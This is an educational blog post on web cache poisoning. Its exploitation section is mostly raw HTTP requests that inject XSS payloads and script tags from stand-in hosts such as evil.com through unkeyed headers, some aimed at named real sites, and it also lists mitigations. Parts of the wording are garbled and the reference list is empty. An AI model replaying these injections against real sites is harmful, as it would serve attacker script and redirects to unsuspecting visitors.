Content:
- Introduction
- What is Web Cache Poisoning?
- Where to Find Vulnerabilities
- How to Exploit Web Cache Poisoning
- How to Prevent Web Cache Poisoning
- Conclusion
- Disclaimer
- References
Introduction
Web cache poisoning is an attack mechanism allowing an attacker to corrupt web site’s cached content, so that the hijacked response is stored and served to other users. This may result in a broad spectrum of weaknesses, such as cross-site scripting (XSS), data exfiltration and so on. Within this guide, we will discuss what constitutes a web cache poisoning attack, the possible risks it poses, and the different tools that attackers might take advantage of cache systems.
What is Web Cache Poisoning?
Cache systems periodically cache frequently accessed content in order to reduce the server load and improve site performance. If a user requests a web page, the server could look in the cache for an existing cached copy. If it exists, it’s served to the user immediately. Attackers use this process by pushing malicious into the cache that is in turn pushed as a web share to the rest of the users.
Where to Find Vulnerabilities
Cache poisoning weaknesses tend to exist on pages that make use of caching to improve performance. Websites using reverse proxy and/or load balancer and/or CDN services are generally more susceptible to cache poisoning. Consider the following for identifying likely targets:
- Web applications with improper validation or filtering of HTTP headers.
- Websites that don’t distinguish between different types of content based on user-agents or other request parameters.
- Sites using caching mechanisms that don’t account for dynamic content properly.
How to Exploit Web Cache Poisoning
1. Basic Poisoning
In basic web cache poisoning, an attacker sends a specially crafted request that manipulates the cache response. For instance:
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
The server is able to return a cached page and if the response is cached then it may be a malicious content such as an encoded image containing a script:.
<img src="evil.com/a.png" />
In such a situation, the malicious script is cached and will be served to other clients.
Alternatively, the XSS payloads can be injected into the cached content:.
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: a.\"><script>alert(1)</script>
This results in a cached response that contains an XSS payload:
<img src="https://a.\"><script>alert(1)</script>a.png" />
2. Capturing the Cache
There is a second kind of cache poisoning (i.e., by hijack_cache) whereby an attacker can control cache via some GET/HTTP headers. For instance:
GET / HTTP/1.1
Host: unity3d.com
X-Host: evil.com
The response might include a malicious script that is stored in the cache:
<script src="evil.com/x.js"></script>
This script is then served to other users, leading to potential exploitation.
3. Selective Poisoning
Selective poisoning allows the attacker to inject the malicious one depending on some request parameters, e.g., a User-Agent. For instance:
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (<snip> Firefox/60.0)
X-Forwarded-Host: a"><iframe onload=alert(1)>
The response may be a poisoned page that includes malicious code, such as:
<link rel="canonical" href="https://a"><iframe onload=alert(1)>
4. Chaining Unkeyed Inputs
This attack is based on a sequence of requests to update the cache. The attack generally has several steps:
First Step:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
The response might set a cookie:
Set-Cookie: locale=en; domain=xyz
Second Step:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
This could result in a redirection:
HTTP/1.1 301 Moved Permanently
Location: redacted.net
Third Step:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
This final step may redirect the victim to the attacker’s site:
HTTP/1.1 301 Moved Permanently
Location: attacker.com/en
5. Route Poisoning
Route poisoning controls the way certain routes are cached. For instance:
GET / HTTP/1.1
Host: goodhire.com
X-Forwarded-Server: evil
The response may look like this:
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
...
<title>Page not found</title>
The attacker can use this vulnerability to have the website post malicious content. A malicious request may lead HubSpot to deliver a cached response with a payload:.
GET / HTTP/1.1
Host: goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
This would result in a response like:
<script>alert(document.domain)</script>
6. Hidden Route Poisoning
In hidden route poisoning, the adversary targets subdomains or non-standard domains that are configured such that to allow cache poisoning. For instance:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: evil
The response may redirect to a malicious site:
HTTP/1.1 302 Found
Location: ghost.org/fail/
The injection of a custom domain an attacker can use to redirect to the attacker”s site becomes available once this custom domain is setup. For instance:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
The response might redirect to the attacker’s site:
HTTP/1.1 302 Found
Location: noshandnibble.blog
How to Prevent Web Cache Poisoning
Web cache poisoning may be avoided by appropriately verifying and sanitizing user inputs and request headers. The following are some of the important mitigation techniques:
- Use Appropriate Caching Headers: Provide proper caching of headers, especially for dynamic pages.
- Validate HTTP Headers: Always validate and sanitize headers such as X-Forwarded-Host to avoid attacker inputs.
- Monitor Cache Responses: Provide logging and monitoring to detect anomalous cache behavior.
- Secure Dynamic Content: Do not store caching for content with user specific data or the potential to contain malicious code.
Conclusion
Web cache poisoning is a high-attack-strength technique which, if not mitigated, could have a compromising effect. [This article] By learning the ways that attackers exploit caching, security professionals and ethical hackers can continue to protect websites from such attacks. Never configure a caching system too broadly and sanitize user input carefully.
Disclaimer
This post is for educational purposes only. It is meant to help readers learn about and prevent web cache poisoning. We do not support or encourage misuse of this information. Any misuse is your responsibility, and illegal actions can lead to serious consequences. Always get permission before testing any system. Use this knowledge responsibly to improve cybersecurity!
References
- INTERNAL:
- EXTERNAL:
